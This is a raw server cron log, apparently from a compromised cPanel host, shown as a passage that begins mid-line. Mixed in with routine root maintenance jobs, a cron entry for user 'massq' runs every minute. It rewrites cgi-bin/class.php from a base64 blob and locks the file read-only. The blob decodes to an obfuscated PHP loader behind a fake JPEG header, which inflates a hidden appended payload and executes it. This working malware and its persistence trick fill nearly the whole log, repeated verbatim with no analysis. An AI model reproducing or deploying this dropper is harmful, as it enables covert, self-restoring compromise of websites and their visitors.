RV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:45:01 server CROND[7978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:45:01 server CROND[7979]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 21:45:01 server CROND[7980]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 21:46:01 server CROND[8173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:47:01 server CROND[8282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:48:01 server CROND[8351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:49:01 server CROND[8432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:50:01 server CROND[8526]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 21:50:01 server CROND[8528]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 21:50:01 server CROND[8530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 21:50:01 server CROND[8531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:50:01 server CROND[8533]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 21:51:01 server CROND[8653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:52:01 server CROND[8812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:53:01 server CROND[8880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:54:01 server CROND[8964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:55:01 server CROND[9032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 21:55:01 server CROND[9033]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 21:55:01 server CROND[9034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:56:01 server CROND[9162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:57:01 server CROND[9319]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 21:57:01 server CROND[9320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
